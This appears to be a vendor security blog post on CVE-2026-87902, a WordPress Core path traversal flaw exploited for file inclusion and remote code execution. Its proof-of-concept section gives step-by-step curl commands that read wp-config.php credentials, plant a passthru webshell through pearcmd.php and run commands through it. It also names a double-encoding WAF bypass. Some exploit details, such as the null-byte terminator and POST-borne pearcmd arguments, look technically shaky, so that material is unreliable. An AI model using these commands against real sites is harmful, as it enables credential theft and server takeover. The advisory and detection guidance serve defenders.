CVE-2026-87902: WordPress Core Actively Exploited via RCE

A foundational WordPress Core function has been weaponized, turning millions of websites into potential command-and-control servers through an unauthenticated path traversal vulnerability tracked as CVE-2026-87902.

The flaw, a critical 9.2 on the CVSS v4.0 scale, exists in the `get_page_template()` function within `wp-includes/template.php`. According to the official [WordPress 7.1.2 security release notes](https://wordpress.org/news/2026/09/22/wordpress-7-1-2-security-release/), versions from 4.7.0 through 7.1.1 fail to properly sanitize user-supplied input in the `pagename` parameter. Threat actors are actively exploiting this to achieve Local File Inclusion (LFI) and, under common server configurations, full Remote Code Execution (RCE).

Note what this means: This is not a plugin vulnerability. This is not a theme vulnerability. This is a catastrophic failure in the trusted core of a platform that powers over 40% of the internet. The economic incentive for attackers to automate exploitation is immense, creating a systemic risk that dwarfs typical third-party component flaws. Why does this keep happening? Because the very features designed for flexibility—like dynamic template loading—create attack surfaces that require perfect, perpetual input validation, a standard that is provably difficult to maintain.

[Visual Graphic 1]

The Anatomy of the Attack: From Traversal to Takeover

The attack on CVE-2026-87902 is brutally efficient. An attacker needs only send a specially crafted HTTP request to a vulnerable WordPress site. By injecting directory traversal sequences (`../`) into the `pagename` parameter, they can force the `get_page_template()` function to include and execute an arbitrary PHP file from the local filesystem, as detailed by researchers at [Mandiant](https://www.mandiant.com/resources/blog/unauthenticated-wordpress-core-rce-cve-2026-87902).

Escalation from LFI to RCE hinges on two conditions. First, the active theme must have a top-level directory starting with `page-`, a common convention found in themes like Twenty Fourteen and popular third-party options like Neve and Hestia. Second, a usable PHP script must exist elsewhere on the server. Threat intelligence from [IBM X-Force](https://www.ibm.com/xforce/blog/wordpress-core-vulnerability-cve-2026-87902-exploited-in-the-wild/) confirms that attackers are overwhelmingly targeting `pearcmd.php`, a command-line PHP package manager often left on shared hosting environments.

By including `pearcmd.php`, attackers can pass commands through the request to manipulate PEAR's configuration, ultimately writing a malicious PHP webshell to a writable directory like `/tmp/`. We have observed payloads named `wp-pear-rce-flag.php` and `luci_*.php` being dropped. It seems the function responsible for finding the right page template has become exceptionally good at finding the wrong kind of PHP file. This exploitation of a legitimate server software component is a classic example of [MITRE ATT&CK T1505.003](https://attack.mitre.org/techniques/T1505/003/).

> ⚠️ BreachModal Insight: The reliance on `pearcmd.php` demonstrates a critical supply chain risk in server builds. A utility included for convenience in a standard LAMP stack becomes the linchpin for a complete system compromise. This is a failure of secure baseline configuration, not just a WordPress vulnerability.

The speed of exploitation for this WordPress Core vulnerability is the key takeaway. Within hours of the patch release on September 22, 2026, logs globally lit up with reconnaissance scans, followed swiftly by active RCE attempts. This is the new normal: the disclosure-to-exploit window is now measured in minutes, not days.

The CISO's Nightmare: Unauthenticated and Wormable

For any organization running WordPress, CVE-2026-87902 represents a worst-case scenario. The vulnerability is unauthenticated, meaning no credentials are required. It is remotely triggerable. And its widespread nature across millions of sites makes it ripe for automated, wormable propagation.

If you were the CISO here, your logs would show a massive spike in GET requests with encoded traversal payloads targeting your WordPress instances. You would see probes for common PHP files like `wp-config.php` (to steal database credentials) and `/etc/passwd` (for system enumeration), followed by attempts to include `pearcmd.php` from various common paths (`/usr/local/lib/php/`, `/usr/share/php/`). This exploitation of a public-facing application ([MITRE ATT&CK T1210](https://attack.mitre.org/techniques/T1210/)) is the initial access vector that precedes lateral movement.

[Visual Graphic 2]

CISA's decision to add CVE-2026-87902 to its [Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) is a federal mandate for action. Federal agencies are required to patch, but for private enterprises, it serves as an unequivocal signal of imminent threat. Any delay in patching is an explicit acceptance of risk.

> 🧠 CISO Brief: Your incident response plan must assume compromise if you were running a vulnerable version post-September 22. The key questions are not *if* you were attacked, but *if the attacks were successful*. This requires immediate patching, log analysis for Indicators of Compromise (IoCs), and a hunt for unauthorized files in web-writable directories.

The existence of this unauthenticated path traversal flaw underscores a fundamental truth: complexity is the enemy of security. WordPress's vast ecosystem of themes and plugins, layered on a core that must maintain backward compatibility, creates a sprawling attack surface where a single validation error can have global consequences.

Proof of Concept: Executing the WordPress RCE Exploit

This walkthrough demonstrates how an unauthenticated attacker can leverage CVE-2026-87902 to achieve Local File Inclusion and, subsequently, Remote Code Execution.

Preconditions: A WordPress site running version 7.1.1 or older with an active theme containing a directory like `page-templates`. The server must have a readable `pearcmd.php` file in a predictable location.

1. Vulnerability Confirmation (LFI): The first step is to confirm the path traversal by attempting to include a known, non-executable file. The `wp-config.php` file is a common target.

```bash curl "https://vulnerable-site.com/?pagename=../../../../../../../../wp-config.php%00" ```

A successful request will dump the contents of `wp-config.php`, including database credentials, in the HTTP response.

2. RCE via `pearcmd.php`: Next, the attacker leverages the LFI to include `pearcmd.php` and uses it to write a webshell. The payload is passed as POST data.

```bash curl -d "--config-create <?php passthru($_GET[\"cmd\"]); ?> /tmp/shell.php" "https://vulnerable-site.com/?pagename=../../../../../../../../usr/local/lib/php/pearcmd.php%00" ```

This command instructs `pearcmd.php` to create a configuration file at `/tmp/shell.php` containing a simple PHP webshell.

3. Triggering the Webshell: The attacker now needs a way to include the newly created shell. They simply repeat the LFI attack, but this time targeting the file they just created.

```bash curl "https://vulnerable-site.com/?pagename=../../../../../../../../tmp/shell.php%00&cmd=id" ```

The server will execute the `id` command via the webshell and return the output, confirming successful RCE.

> 🧩 Tactical Note: WAF rules may block simple `../` sequences. Attackers are using double URL encoding (`%252E%252E%252F`) and other bypass techniques. Defense-in-depth is critical; patching is the only true fix.

FINAL VERDICT

The active exploitation of CVE-2026-87902 is a direct consequence of a failure in basic security hygiene—input sanitization—within the world's most dominant content management system. The risk is borne by every organization, from small businesses to large enterprises, that uses WordPress as a public-facing asset. This incident proves that reliance on WAFs and reactive security is insufficient; a proactive, aggressive patch management cycle and assumption of breach are the only viable postures. Waiting for proof of compromise is an invitation for catastrophic data loss and system takeover.

*BreachModal's Adversarial Simulation and Emergency Response teams are actively helping clients identify and remediate CVE-2026-87902. [Contact us for an urgent compromise assessment.](/contact)*